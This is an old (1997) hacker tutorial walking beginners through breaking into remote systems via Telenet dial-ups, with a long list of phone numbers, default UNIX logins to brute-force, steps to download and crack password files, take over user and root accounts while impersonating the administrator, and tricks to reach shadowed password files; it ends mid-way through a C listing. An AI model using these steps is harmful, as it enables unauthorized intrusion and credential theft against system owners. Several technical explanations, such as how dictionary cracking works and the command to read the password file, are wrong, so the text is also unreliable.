Hacker’s GUIDE…………….

INDEX

Ultimate Step by Step guide to become a hacker

Submitted to the Hideout by IceKool
Document Modified by kM
June 16th, 1997

Disclaimer:

I do not take any responsibilities for actions that you pose using this file.
Therefore do not blame me for whatever happens. This is for informational purposes only.

About the Author:

My name is IceKool. I live in Va. I love to hack and I hope that this file will teach you
everything that you need to know. So read it all the way through!

Contents:

Chapter 1.) What should I know about hacking and where can I get started?

Welcome to the world of hacking. You are probably asking why you want to be a hacker right now. Well, first let me say that if you saw the movie,"Hackers" don't think that that is hacking. It would be great if they had terminals that automatically put you in a system and gave out all those cool colors and welcome screens, but it's not that way. In fact, hacking is like using DOS and C commands. So if you want to be a hacker, realize that. Don't worry, it's still really cool. But before you start, let's identify things, first off a terminal. This is what you will use to hack. Click on ,"find" on the start menu of win95. Then type in ,"Terminal". It will either give you a hyper terminal or a terminal. Both will work. I prefer the hyper terminal. Choose the regular looking icon that says,"hyperterm" if you are using the HyperTerminal after you click on its folder. If you want to use the regular terminal, choose,"terminal". Now you will need to set some things. In terminal, click on settings. Then click on communications. You will have to mess with this stuff a little bit because some systems use different paritys and databits, etc. What I use is as follows:

```
Baud rate: 19200
parity: odd
databits: 7
flow control:Xon/Xoff
```

For the hyper terminal, click on the HyperTerminal folder in the find files or folders thing.
Choose hyperterm. Then it will ask you for a name. Call it anything you want. Now it will ask for a phone #. Don't type a phone number in, look at the bottom. It should say what type of modem you are using. Click on that and choose the com port that your modem is using. Do the settings that I listed above and hit ok. Now comes the part where you will need to use certain commands that work for both programs. It will connect to your modem and then you can tell your modem what to do. Here are the commands that you can type. By the way, put "AT" before everything except if you use "a/" or "+++".

```
at=ok
atdp(phone number)=dials out the number specified using a pulse dial up.
atdt(phone number)=dials out the number specified using a tone dial up.
at e0=echo off(not recommended)
at e1=echo on(recomended,shows what you type in your terminal!very important)
at L0=speacker volume low
at L1=higher speaker volume
at L2=default, medium
at L3=high speaker volume
at a=lets a call be connected to your computer(note! you can wait in your terminal mode and it
will start saying"ring""ring""ring", type that command in and hit enter. It Will connect
whatever is calling you!)
```

Chapter 2: What programs will I need?

Well, I already mentioned about the terminal. That's your first program you should get.
Now go to either of these two addresses on the web to get your hacking equipment:

www.hackersclub.com/km or www.sodaphish.com

The programs that you should get are as follows:

A-dial(or any scanner)- a scanner that will dial every # from 0000-9999 in your local area.

Cracker Jack- One of the best and fastest Crackers out there. John the Ripper is the best one w/Win95

Modem Jammer- makes your calls untraceable!

Chapter 3: I got the stuff, now what?

Study how the stuff works and go to your local library and get some books on the following systems:

1.) IRIS
2.) UNIX
3.) DEC/10
4.) NOD
5.) VAX

Now get out your cracker and read the instructions on how it works and look at the dictionary that it comes with (should be "puffs.dic"). Go to the Hackerz Hideout(www.hackersclub.com/km) and go to the newbie section and download lesson 1. Read on how it works and play with it for a while. Now get out your terminal and get ready to dial up your local telenet number!

Chapter 4:A list of telenet numbers to use throughout the u.s.

This is a list of telenet numbers throughout the U.S.A. Telenet is a network that is used for many purposes. This is where most of your hacking will be done because hacking directly to an open system is very risky! But if you use telenet and go to an outdial (more on this later) then the chances are much less risky. So dial up your local telenet number and get ready to hack!

AK	907	Prudhoe Bay	659-2777	(1,2)	-
AK	907	St Paul	546-2320	(1,2)	-
AK	907	Seward	224-3126	(1,2)	-
AK	907	Sitka	747-5887	(1,2)	-
AK	907	Soldotna	262-1990	(1,2)	-
AK	907	Talkeetna	733-2227	(1,2)	-
AK	907	Tanana	366-7167	(1,2)	(300 BPS ONLY)
AK	907	Valdez	835-4987	(1,2)	-
AK	907	Whittier	472-2467	(1,2)	-
AK	907	Yakutat	784-3453	(1,2)	-
AZ	602	Phoenix	254-1903		A
AZ	520	Flagstaff	773-0588		B
AZ	520	Tucson	620-0658		B
AR	501	Fayetteville	442-0212		B
AR	501	Ft Smith	782-2852		B
AR	501	Hot Springs	623-3159		B
AR	501	Little Rock	375-4177		B
AR	501	Texarkana	772-6181		B
CA	805	Bakersfield	631-0577		B
CA	916	Chico	894-6882		B
CA	909	Colton	824-5571		B
CA	310	Compton	516-1007		C
CA	510	Concord	687-0216		C
CA	909	Corona	278-1211		B
CA	916	Davis	753-4387		B
CA	619	Escondido	738-0203		B
CA	707	Eureka	444-3091		B
CA	707	Fairfield	426-3860		B
CA	510	Fremont	249-9220		B
CA	209	Fresno	233-6928		B
CA	714	Garden Grove	379-7400		B
CA	818	Glendale	507-0511		B
CA	510	Hayward	538-0623		B
CA	805	Lancaster	949-7396		B
CA	213	Los Angeles	937-5526		A
CA	310	Marina Del Rey	306-3450		B
CA	209	Merced	383-2557		B
CA	209	Modesto	576-2852		B
CA	408	Monterey	655-1925		C
CA	707	Napa	257-0217		B
CA	310	Norwalk	802-2275		C
CA	510	Oakland	836-3844		B
CA	619	Oceanside	430-0613		C
CA	619	Palm Springs	343-3470		B

CA	415	Palo Alto	856-4854	B
CA	510	Pinole	724-0271	C
CA	909	Pomona	626-1284	C
CA	916	Redding	243-0690	B
CA	916	Sacramento	851-0700	B
CA	714	Saddle Brook Valley	458-0811	B
CA	408	Salinas	443-8791	B
CA	415	San Carlos	591-8578	B
CA	619	San Diego	233-1025	B
CA	415	San Francisco	247-9976	A
CA	408	San Jose	294-9067	B
CA	805	San Luis Obispo	543-3233	B
CA	310	San Pedro	548-7146	B
CA	415	San Rafael	499-1629	C
CA	510	San Ramon	829-6705	B
CA	714	Santa Ana	558-1501	B
CA	805	Santa Barbara	965-3326	B
CA	408	Santa Cruz	459-7735	B
CA	805	Santa Maria	925-2969	B
CA	707	Santa Rosa	523-1048	C
CA	209	Stockton	478-0402	C
CA	805	Thousand Oaks	449-1500	B
CA	805	Ventura	650-9203	B
CA	619	Victorville	951-2612	B
CA	209	Visalia	627-1201	B
CA	818	West Covina	331-6611	C
CA	818	Woodland Hills	887-7420	B
CO	719	Colorado Springs	632-0278	B
CO	303	Denver	745-3285	A
CO	303	Ft Collins	495-6799	B
CO	970	Grand Junction	241-3004	C
CO	970	Greeley	352-8563	B
CO	719	Pueblo	542-4053	C
CT	203	Bridgeport	332-7400	B
CT	203	Danbury	778-2022	B
CT	203	Hartford	560-1385	B
CT	203	Middletown	344-8217	B
CT	203	New Britain	225-7027	B
CT	203	New Haven	624-5945	B
CT	203	New London	440-0656	B
CT	203	Norwalk	866-7404	B
CT	203	Stamford	961-8371	B
CT	203	Waterbury	759-1445	C
DE	302	Dover	678-8328	B

DE	302	Newark	292-0114		B
DC	202	Washington	659-2733		A
FL	407	Boca Raton	367-0732		B
FL	941	Cape Coral	334-0071		C
FL	407	Cocoa Beach	267-0800		B
FL	904	Daytona Beach	252-1609		C
FL	954	Ft Lauderdale	764-0318		B
FL	407	Ft Pierce	466-4566		B
FL	352	Gainesville	335-6697		B
FL	904	Holly Hill	257-4770		B
FL	904	Jacksonville	353-1137		B
FL	941	Lakeland	680-3332		C
FL	352	Leesburg	787-0799		B
FL	407	Melbourne	725-9641		B
FL	305	Miami	358-5349		A
FL	941	Naples	263-3033		C
FL	352	Ocala	351-3790		C
FL	407	Orlando	246-0851		B
FL	904	Panama City	763-8377		B
FL	904	Pensacola	469-9688		C
FL	954	Pompano Beach	941-5545		C
FL	813	St Petersburg	327-7024		B
FL	941	Sarasota	952-1152		C
FL	904	Tallahassee	222-0533		B
FL	813	Tampa	221-3713		B
FL	904	Valparaiso	897-3421		B
FL	407	West Palm Beach	820-9391		B
GA	912	Albany	431-9384		C
GA	706	Athens	548-9698		B
GA	404	Atlanta	688-1212		A
GA	706	Augusta	722-9877		B
GA	706	Columbus	322-9386		B
GA	404	Gainsville	532-9880		B
GA	912	Macon	741-2108		C
GA	706	Rome	234-1428		B
GA	912	Savannah	236-2898		B
HI	808	Oahu	536-3886	...	-
HI	800	Other Islands	272-5299	(2)	-
ID	208	Boise	343-0957		B
ID	208	Idaho Falls	529-0406		B
ID	208	Lewiston	743-5885		C
ID	208	Pocatello	232-1764		B
IL	847	Arlington Heights	670-9522		B

IL	708	Aurora	896-9802	B
IL	618	Belleville	277-9551	B
IL	309	Bloomington	828-1441	B
IL	312	Chicago	938-5462	A
IL	217	Decatur	429-6054	C
IL	815	De Kalb	756-3455	B
IL	847	Glencoe	835-1143	B
IL	815	Joliet	722-9652	C
IL	708	Lansing	474-9310	B
IL	847	Libertyville	362-5718	B
IL	708	Naperville	355-2910	B
IL	309	Peoria	674-2344	B
IL	815	Rockford	962-9523	B
IL	217	Springfield	525-1590	B
IL	217	Urbana	384-3322	B

IN	812	Bloomington	331-8890	C
IN	812	Evansville	422-2911	B
IN	219	Ft Wayne	422-8013	B
IN	219	Gary	881-1020	B
IN	317	Indianapolis	299-2593	B
IN	317	Kokomo	452-0073	C
IN	317	Lafayette	742-5488	C
IN	317	Muncie	288-1113	C
IN	317	Richmond	935-7532	B
IN	219	South Bend	288-2355	B
IN	812	Terre Haute	235-5671	C

IA	515	Ames	233-2603	C
IA	319	Burlington	752-2516	B
IA	319	Cedar Rapids	298-4600	B
IA	319	Davenport	322-3361	C
IA	515	Des Moines	288-4626	B
IA	319	Dubuque	556-0783	C
IA	319	Iowa City	339-0320	C
IA	712	Sioux City	255-1545	C
IA	319	Waterloo	232-0195	B
KS	913	Lawrence	843-8124	B
KS	913	Leavenworth	651-0015	B
KS	913	Manhattan	537-0948	B
KS	913	Salina	825-7900	B
KS	913	Topeka	232-5507	B
KS	316	Wichita	264-4211	B
KY	502	Bowling Green	843-0632	B
KY	502	Frankfort	875-2911	B
KY	606	Lexington	231-7717	B
KY	502	Louisville	583-1209	B

KY	502	Owensboro	686-8107	B
LA	318	Alexandria	445-1053	B
LA	504	Baton Rouge	344-5105	A
LA	318	Lafayette	233-6951	B
LA	318	Lake Charles	436-0518	C
LA	318	Monroe	345-0106	B
LA	504	New Orleans	524-7442	A
LA	318	Shreveport	424-2255	B
ME	207	Augusta	622-7364	B
ME	207	Brewer	989-3081	C
ME	207	Lewiston	784-0105	C
ME	207	Portland	761-9029	C

MD	410	Annapolis	266-6851	B
MD	410	Baltimore	244-0470	A
MD	301	Frederick	293-9596	B
MD	410	Gaithersburg	869-4191	
MA	508	Attleboro	226-8956	B
MA	617	Boston	338-0002	A
MA	508	Brockton	583-3533	B
MA	617	Dedham	326-4064	B
MA	508	Fall River	677-4477	B
MA	508	Framingham	620-1119	B
MA	508	Lawrence	687-8252	B
MA	617	Lexington	862-9124	B
MA	508	Lowell	459-2350	B
MA	508	New Bedford	990-3300	B
MA	413	Northampton	586-0510	C
MA	413	Pittsfield	499-7741	B
MA	508	Salem	744-1559	B
MA	413	Springfield	747-3700	B
MA	508	Woods Hole	540-4085	C
MA	508	Worcester	791-7630	B
MI	313	Ann Arbor	741-8488	A
MI	616	Battle Creek	961-9927	B
MI	616	Bridgman	465-3248	B
MI	313	Detroit	965-3011	A
MI	810	Flint	767-3590	B
MI	616	Grand Rapids	774-5958	B
MI	517	Jackson	782-8111	C

MI 616 Kalamazoo	381-3101	B
MI 517 Lansing	482-0120	B
MI 906 Marquette	228-4622	B
MI 517 Midland	832-7068	B
MI 616 Muskegon	726-5723	C
MI 810 Pontiac	858-7109	B
MI 810 Port Huron	982-8364	B
MI 517 Saginaw	797-3822	B
MI 810 Southfield	827-4710	B
MI 616 Traverse City	946-2121	C
MI 810 Warren	573-7300	B
MI 313 Wayne	326-4210	B

MN 218 Duluth	722-3029	B
MN 507 Mankato	388-3780	B
MN 612 Minneapolis	332-0033	A
MN 507 Rochester	282-0555	C
MN 320 St Cloud	253-1264	C

MS 601 Hattiesburg	264-0815	B
MS 601 Gulfport	863-0024	B
MS 601 Jackson	354-5303	B
MS 601 Meridian	482-2210	B
MS 601 Port Gibson	437-8916	B
MS 601 Starkville	324-2155	B
MO 573 Columbia	499-0580	B
MO 573 Jefferson City	634-8436	C
MO 816 Kansas City	421-5783	A
MO 314 St Charles	723-5179	B
MO 816 St Joseph	279-4797	C
MO 314 St Louis	421-1376	A
MO 417 Springfield	831-0057	B
MT 406 Billings	248-6373	C
MT 406 Great Falls	771-0067	B
MT 406 Helena	443-0527	B
MT 406 Missoula	543-5575	C
NE 308 Grand Island	381-2049	B
NE 402 Lincoln	438-4305	B
NE 402 Omaha	341-4622	B

NV 702 Las Vegas	737-1752	B
NV 702 Reno	824-3000	B

NH 603 Concord	225-2566	B
NH 603 Durham	868-2924	B
NH 603 Manchester	647-2750	B
NH 603 Nashua	880-0118	C

NH	603	Portsmouth	431-7984	B
NJ	609	Atlantic City	348-3233	B
NJ	908	Freehold	780-2680	B
NJ	201	Hackensack	488-1726	B
NJ	609	Marlton	988-7800	B
NJ	609	Merchantville	663-7730	B
NJ	201	Morristown	605-1836	B
NJ	908	New Brunswick	220-0405	B
NJ	201	Newark	624-8843	A
NJ	201	Passaic	777-2700	B
NJ	201	Paterson	279-4515	B
NJ	609	Princeton	799-2266	A
NJ	201	Rahway	388-5288	B
NJ	908	Red Bank	571-0003	B
NJ	201	Roseland	227-6722	B
NJ	908	Sayreville	525-9507	B
NJ	201	Summit	701-0767	B
NJ	609	Trenton	392-4100	B
NJ	609	Vineland	696-3883	B

NM	505	Albuquerque	246-8950	B
NM	505	Las Cruces	526-9191	B
NM	505	Santa Fe	473-3403	C
NY	518	Albany	433-0092	B
NY	607	Binghamton	773-2244	B
NY	716	Buffalo	847-8181	B
NY	516	Deer Park	254-6021	B
NY	516	Hempstead	292-2820	B
NY	607	Ithaca	273-2200	C
NY	212	New York City	206-0256	A
NY	716	Niagara Falls	282-3284	C
NY	518	Plattsburgh	562-1890	C
NY	914	Poughkeepsie	471-6728	B
NY	716	Rochester	546-6998	B
NY	315	Syracuse	448-0021	B
NY	315	Utica	792-9962	B
NY	914	White Plains	949-6878	B
NC	704	Asheville	259-9945	B
NC	910	Burlington	229-0032	B
NC	704	Charlotte	332-4023	A
NC	910	Fayetteville	323-5940	C
NC	704	Gastonia	865-4708	B
NC	910	Greensboro	299-6600	B
NC	704	Hickory	326-9860	B
NC	910	High Point	889-7494	B
NC	910	North Wilkesboro	838-1663	C
NC	919	Raleigh	781-9976	B

NC 919 Res Tri Park	549-0542	B
NC 919 Tarboro	823-7459	C
NC 910 Wilmington	763-8292	C
NC 910 Winston-Salem	785-9962	B

ND 701 Fargo	235-9069	C
ND 701 Grand Forks	775-7813	B
ND 701 Mandan	663-6339	B
OH 330 Canton	455-1700	B
OH 513 Cincinnati	579-1593	A
OH 216 Cleveland	575-0811	A
OH 614 Columbus	461-8671	A
OH 513 Dayton	461-4600	B
OH 216 Elyria	322-8645	C
OH 419 Findlay	422-8188	B
OH 513 Hamilton	863-4116	B
OH 330 Kent	678-8330	A
OH 216 Lorain	960-1771	C
OH 419 Mansfield	589-0276	C
OH 419 Sandusky	627-0050	B
OH 513 Springfield	324-1520	C
OH 419 Toledo	255-7010	B
OH 330 Warren	856-7265	C
OH 330 Wooster	345-1023	B
OH 330 Youngstown	743-2983	B

OK 918 Bartlesville	336-6362	B

OK 405 Lawton	353-0225	B
OK 405 Oklahoma City	270-0028	B
OK 405 Stillwater	743-1447	B
OK 918 Tulsa	584-6935	B
OR 503 Corvallis	754-0559	C
OR 541 Eugene	683-5147	B
OR 541 Hood River	386-4405	C
OR 503 Klamath Falls	882-6282	B
OR 541 Medford	772-3994	B
OR 503 Portland	295-0337	A
OR 503 Salem	375-3104	B

PA 610 Allentown	770-6501	B
PA 814 Altoona	949-0310	B
PA 412 Butler	285-8721	B
PA 717 Carlisle	249-9311	C
PA 717 Danville	271-0102	C
PA 814 Erie	459-9779	B

PA	412	Greensburg	836-4771	B
PA	717	Harrisburg	236-1186	B
PA	814	Johnstown	535-3356	B
PA	610	King of Prussia	265-2812	B
PA	717	Lancaster	295-7128	C
PA	215	Levittown	946-3469	B
PA	412	Monroeville	856-1330	B
PA	215	Philadelphia	854-0589	A
PA	412	Pittsburgh	281-8326	A
PA	610	Reading	375-6945	C
PA	717	Scranton	341-5611	B
PA	814	State College	231-1510	C
PA	215	Warrington	343-6010	B
PA	610	West Chester	436-7406	B
PA	717	Wilkes-Barre	820-9755	B
PA	717	Williamsport	494-1796	C
PA	717	York	845-9717	B

RI	401	Providence	453-5353	B
RI	401	Newport	849-0229	B
RI	401	North Kingston	295-7100	B
RI	401	Woonsocket	765-0019	B
SC	803	Charleston	723-7342	B
SC	803	Columbia	254-0038	B
SC	803	Florence	669-0042	B
SC	864	Greenville	232-7832	B
SC	803	Myrtle Beach	626-9134	B
SC	864	Spartanburg	542-1653	B

SD	605	Pierre	224-2257	B
SD	605	Rapid City	348-2048	C
SD	605	Sioux Falls	334-4953	B
TN	615	Bristol	968-2480	C
TN	423	Chattanooga	266-3066	B
TN	615	Clarksville	552-0032	B
TN	615	Johnson City	282-6645	C
TN	615	Knoxville	523-4031	B
TN	901	Memphis	525-5201	B
TN	615	Nashville	726-1213	B
TN	423	Oak Ridge	481-3590	C
TX	915	Abilene	672-3902	B
TX	806	Amarillo	373-2926	B
TX	903	Athens	677-1712	C
TX	512	Austin	929-0078	B
TX	210	Brownsville	544-7073	C
TX	409	Bryan	779-0713	C
TX	512	Corpus Christi	888-7207	B

TX	214	Dallas	653-0840	A
TX	817	Denton	381-1897	C
TX	915	El Paso	532-1912	B
TX	817	Ft Worth	332-1015	A
TX	409	Galveston	762-8076	B
TX	713	Houston	228-0705	A
TX	210	Laredo	724-1791	C
TX	903	Longview	758-1161	C
TX	806	Lubbock	765-9631	C
TX	210	McAllen	631-8967	B
TX	915	Midland	561-8931	B
TX	409	Nederland	722-7162	B
TX	915	San Angelo	944-0376	B
TX	210	San Antonio	225-1191	B
TX	903	Sherman	893-4995	B
TX	817	Temple	773-9723	C
TX	903	Tyler	597-8925	C
TX	512	Victoria	572-3197	B
TX	817	Waco	752-2681	C
TX	817	Wichita Falls	322-3774	B
UT	801	Logan	752-3421	B
UT	801	Ogden	627-1640	C
UT	801	Provo	371-0278	B
UT	801	Salt Lake City	355-9030	B
TX	903	Texarkana	794-4700	B
VA	540	Blacksburg	552-9181	C
VA	804	Charlottesville	977-5330	C
VA	540	Covington	962-2217	C
VA	540	Fredericksburg	371-0188	B
VA	540	Harrisonburg	434-0374	C
VA	703	Herndon	787-6719	B
VA	804	Lynchburg	845-0010	C
VA	804	Newport News	596-9232	B
VA	804	Norfolk	626-3349	B
VA	703	Occoquan	494-0836	B
VA	804	Richmond	225-0021	B
VA	540	Roanoke	857-4266........	B
VT	802	Burlington	660-4795	B
VT	802	Montpelier	223-0758	B
VT	802	Rutland	775-1676	C
VT	802	White River Junction	295-7631	C
WA	206	Auburn	939-9982	B
WA	360	Bellingham	733-2873	B
WA	206	Everett	774-7466	C
WA	360	Longview	577-3992	B

WA 206 Lynwood	774-7466	B
WA 360 Olympia	705-0769	C
WA 509 Pullman	332-0172	B
WA 509 Richland	943-6117	B
WA 206 Seattle	625-1386	A
WA 509 Spokane	747-2069	B
WA 206 Tacoma	383-9488	B
WA 360 Vancouver	693-6914	B
WA 509 Wenatchee	663-9482	B
WA 509 Yakima	575-1060	B

WV 304 Charleston	346-0524	B
WV 304 Clarksburg	622-6827	B
WV 304 Huntington	523-2802	C
WV 304 Morgantown	292-0492	C
WV 304 Wheeling	233-7732	B
WI 608 Beloit	362-5287	B
WI 715 Eau Claire	836-0097	C
WI 414 Green Bay	432-0346	B
WI 414 Kenosha	552-9242	C
WI 608 La Crosse	784-0560	B
WI 608 Madison	257-8330	B
WI 414 Milwaukee	271-2420	A
WI 414 Neenah	731-9687	C
WI 414 Racine	632-2174	C
WI 414 Sheboygan	452-3995	C
WI 715 Wausau	848-6044	B
WI 414 West Bend	334-2206	B

WY 307 Casper	265-8807	C
WY 307 Cheyenne	637-3958	B
WY 307 Laramie	721-5878	C

Chapter 5: I dialed it out, now what?

Here is what you will do. Remember how I told you those modem commands? Here is how you would dial if you have a pulse phone in Casper WY:

```
atdp265-8807
```

For tone:

```
atdt265-8807
```

Ok. It should make a modem noise. I'm sure you've heard this before unless you are really new to computers. Here is a list of commands that you can use in telenet:

C-Connect

D-disconnect

Mail-mail

Telemail-mail

full-network echo (should be really good to use!)

half-terminal echo(I don't recommend it, but try it and see what happens, just type"full"when your done)

Stat-Shows network port

Set-Select pad perimeters

Cont-Continue

Hangup-Hangs up

Access-Telenet Account (Need username and password)

Here is a trick that you can try. Once you have connected, hit enter twice; then it will tell you you've connected to telenet on a certain address. Now either hit enter once or type in the type of terminal you are using. It should give you a prompt that looks like this:

@

Now Type in telemail. It will say that it is connected. Now type in"phones" for the username and password. It will run down with a list of things. Try everything out that looks interesting. You can also type in help at the login prompt and it will ask you for an organization and a password. That will give you a list of all the numbers that will connect you to telenet in the U.S.A.

A good thing to remember!

Whenever you connect to a system and it will ask you"login" or "ugi" or "user id", etc... before you get cocky, try typing some things in such as help, teach, learn,help login, help logon, systat, and some other commands that you can think of by yourself. Just type one of those in for the login name,or before it asks you to login and see what happens.

Chapter 6: How do NUA's work?

Well, NUA's are like little addresses that you can connect to when you are in telenet. The way it works is by typing in an area code and then typing in any number after- words. It would be something like this:

```
     ____
@540|798|- the number after-words
-|--------
areacode
```

That would be the area code of VA. There is also something that you might see in front of it. It would look like this:

```
03110 540 0079800
```

The number in front(03110) is the pad that you are connected to. This is very important because you cannot always connect to an NUA because it will not always have what is called reverse charging. Reverse charging is sort of like you dialing someone's number collect. But I will explain more about this in the Help with NUA's section. You probably noticed that there were some zeros in the 798 part. A lot of times you will find this in systems. But usually you can ignore this.

You can also put a "c" in front of the NUA. It would look like this:

```
@c540 798
```

Note! Whenever I put a @ in front of a number like I just did, don't type that in, all you would have to type would be "c540 798". That is just the prompt.

Chapter 7: Help with NUA's

Not to many things have worked with NUA's that I have found. Although you could try these commands at the login prompt:

1.) help
2.) learn
3.) list
4.) list users
5.) games
6.) List games
7.) help logon
8.) help login
9.) and anything else that comes to your mind. Use common sense.

If you try connecting to an NUA and it says that there is reverse charging,you can get by this by either connecting to another pad that isn't long distance to that NUA or you can use what is called an NUI (Network User ID). The NUI is faster but they are very hard to find. I wouldn't even try it,but if you want to, here is what you would do. Say that you liked system:

```
201 432
```

You would put a coma after the NUA and type the user name and then type in a password. For example:

```
201 432,username,password
```

I would stick to the pads rather than this, it is much easier. Although, there are plenty of systems that will except reverse charging, so I personally just leave them alone. There to much trouble.

Another problem with NUA's is that you will try to connect to one and it will just sit there and stare in your face. You will always know that when this happens that there is not a system. It will probably always just sit there. If you get stuck like that for to long, telenet will knock you off. That is very annoying! But I finally found a way to get past this. All you have to do is hold down the shift key and hit the "2" button and then hit enter. Then it will bring you back to the "@" prompt. Now hit "d" and hit enter to disconnect. Now you're all set to try another NUA.

Chapter 8: What should I do once I found a system?

Your first objective is to identify what type of system you have found. There are 2 ways to do this. The first and easiest way is to look for a copy of the LOD (legion of doom) and it will have most all the info that you will need on identifying systems. The second and best way to do this is to go to your local library or bookstore and read up on all the systems you can. Basically,I am saying to get LOD's copy and look at the systems they are talking about and get books on those systems.

Once you've identified the system, first try the defaults that you have. If your defaults worked, that's great, move on to the next chapter, if not, do some research in the library section of the hackers hideout on sniffing and spoof ID.

Chapter 9: I'm in, now what?

Well, I agree with LOD. I can't tell you what to do once you got inside the system. It is totally all up to you, you are the hacker which means that you are in command. I would recommend looking in the books that you got on the system that you are in and look at all of its useful commands. Try everything out, don't be afraid, you can't go any further unless you try different things out. Search the system to your desire. Have fun!

Chapter 10: Cracking programs

A while back I said something about Cracker Jack. That is the type of Cracker that I will be referring to. Cracker Jack comes with a dictionary called, "puffs.dic". In the next chapter you will learn how to obtain passwords in a UNIX system, so this will be very useful. Say you see some passwords you want to crack. It goes like this, a word is scrambled (encrypted). A cracker will take this word and look at it with its dictionary. here is a sample:

akcihgn

The dictionary will look at it and look at every word in the English language that has seven letters and has each of those very letters. A lot of times, you will get lots of possible words, but one of them is the real password! In this case, it is "hacking".

Chapter11:UNIX

Well, if you finally found your first UNIX, then this is going to be a treat! First of all, UNIX will greet you with a welcoming message and then will say, "Login". To login, all you have to do is type in some defaults. Here they are:

login: root	pw: root
login: root	pw: system
login: root	pw: sysop
login: sys	pw: sys
login: sys	pw: system
login: daemon	pw: daemon
login: uucp	pw: uucp
login: tty	pw: tty
login: test	pw: test
login: unix	pw: unix
login: unix	pw: test
login: bin	pw: bin
login: adm	pw: adm

```
login: adm          pw: admin
login: admin   pw: admin
login: sysman  pw: sysman
login: sysman  pw: sys
login: sysman  pw: system
login: sysadmin     pw: sysadmin
login: sysadmin     pw: system
login: sysadmin     pw: sys
login: sysadmin     pw: admin
login: sysadmin     pw: adm
login: who          pw: who
login: learn   pw: learn
login: uuhost  pw: uuhost
login: guest   pw: guest
login: host         pw: host
login: nuucp   pw: nuucp
login: rje          pw: rje
login: games   pw: games
login: games   pw: player
login: sysop   pw: sysop
login: demo         pw: demo
```

When these defaults don't work, you will have to use brute force hacking which you will learn later on. What you will do is use the default for your login name, then use the list of passwords. For example:

```
login: sysadmin
password:(every password in the list)
```

If sysadmin didn't work move to the next default and use every password, then to the next etc. Here is the list of defaults to use:

adm
admin
ann
anon
anonymous/anonymous
backup
batch
bin
checkfsys
daemon
demo

```
diag
field
ftp
games
guest/guest     guest/anonymous
help
install
listen
lp
lpadmin
maint
makefsys
mountfsys
network
news
nobody
nuucp
nuucpa
operator
powerdown
printer
pub
public
reboot
rje
rlogin
root
sa
setup
shutdown
startup
sync
sys/sys
sysadm
sysadmin
sysbin/sysbin        sysbin/bin
sysman
system
tech
test
trouble
tty
umountfsys
user/user            user1/user1
uucp
uucpa
visitor
```

Once you are in, save the account to a floppy. To access the password file on UNIX, type in this command:

```
etc/passwd
```

Now download the password file. This can be done by typing "d". If you type in this command and nothing shows up, try typing in "cat_/etc/passwd". If that doesn't work, then the UNIX system might not have what is called a shell account. In that case, move on to a new system. Ok, If you got the passwd file downloaded, take it to your cracker and crack it. If you have trouble cracking it, make sure that you typed in the right dictionary (puffs.dic) and the file of the passwd. Now look at one of the accounts, it will probably have a list of words that could be the password. Try every word that it gives you, one of the words will definitely work!
Now finally log on as that user and change his password. Well, you've done it! You own the account. If you want to go a little further, look for the password on the "sysadmin and root".
You would login like this:

```
login:root
password:(password)

login:sysadmin
password:(password)
```

I hope that that helps you out. Remember, if you logon as the superuser (root), you have total command over the whole system. So act normal and if anyone tries to talk to you, act like you would if you were the sysop (system administrator), and NEVER manipulate files!

NOTE! This is what a passwd file will look like when you get it:

```
John:234abc56:9999:13:John_Johnson:/home/dir/John:/bin/John.
```

Here is what it is broken down:

Username: John

Encrypted password: 234abc56
User # 9999
Group# 13
Other information: John Johnson
Home directory: /home/dir/John
Shell:/bin/John

Chapter12: Password Shadowing

Unfortunately, today most all UNIX systems have what is called password shadowing. It is a type of security that the admins use to keep hackers out. The password is still encrypted but you can't see the encrypted passwords. Here are Three ways that I have heard of to get around this. The first one is simple, you find the shadowed passwords in a different directory. I will name the system, you type in what is on the right. That will enable you (hopefully to find the encrypted passwords)but first, here is how you can identify a shadowed password. Look at this list and notice how there is either a * or an X in the passwords place:

```
root:*:0:3:::
ftp:*:500:19:::
aolbeta:*:295:20:::
macbeta:*:297:20:::
atropos:*:228:20:::
```

In this case the * was in place for the encrypted password. Here is a sample of the other type I have seen:

```
Cougar:X:5:9987:/home/dir/bin
```

Now to defeat this here is the first way:

UNIX	Path	Token
AIX 3	/etc/security/passwd	!
or	/tcb/auth/files//	
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*

DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	X
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	X
Linux1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files//	
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	
System V Release 4.0	/etc/shadow	X
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	*

Here is the second way. This is more confusing because you need to understand what a loop is. I got this out of the Library section of the HackerZ Hideout. So you can look in there too if you want :)

This trick will only work with certain systems. Notice how the loop works. It is very important to the hacker. If you can find anything on loops, read it! It is great knowledge to have,but even I have trouble understanding it. Once you are in a Unix system, and of course, the passwd file is shadowed, try typing in "ypcat /etc/passwd >~/passwd"instead of"etc/passwd". Now download the passwd file from your home dir. Here is the trick, type in:

```
rm -f ~/.lastlogin

ln -s ~/.lastlogin /etc/passwd
```

Now logout and then back in so that you create a link.

```
cat .lastlogin > passwd
rm -f ~/.lastlogin
```

That way is a little tricky, but read up on loops and maybe it will work out for you. Here is the third and final trick. It is probably the best way because supposedly, it works

with everything. What you will do is write a C-script. For those of you who don't know what a
C-script is, it is a program that you write out in the C language Such as C++. You can get C++
at the store or ask around to warez pups. They should have it. What you will do is write it out.
Then what you will have to do is go and compile it. It shouldn't be to hard. Anyway, here is
the script:

```
struct  SHADOWPW {    /* see getpwent(3) */
  char *pw_name;
  char *pw_passwd;
  int  pw_uid;
  int  pw_gid;
  int  pw_quota;
  char *pw_comment;
  char *pw_gecos;
  char *pw_dir;
  char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef   elxsis?

/* Name of the shadow password file. Contains password and aging
info*

#define  SHADOW "/etc/shadowpw"
#define  SHADOWPW_PAG "/etc/shadowpw.pag"
#define  SHADOWPW_DIR "/etc/shadowpw.dir"
/*
 *  Shadow password file pwd->pw_gecos field contains:
 *
 *  <type>,<period>,<last_time>,<old_time>,<old_password>
 *
 *  <type>  = Type of password criteria to enforce (type int).
 *  BSD_CRIT (0), normal BSD.
 *  STR_CRIT (1), strong passwords.
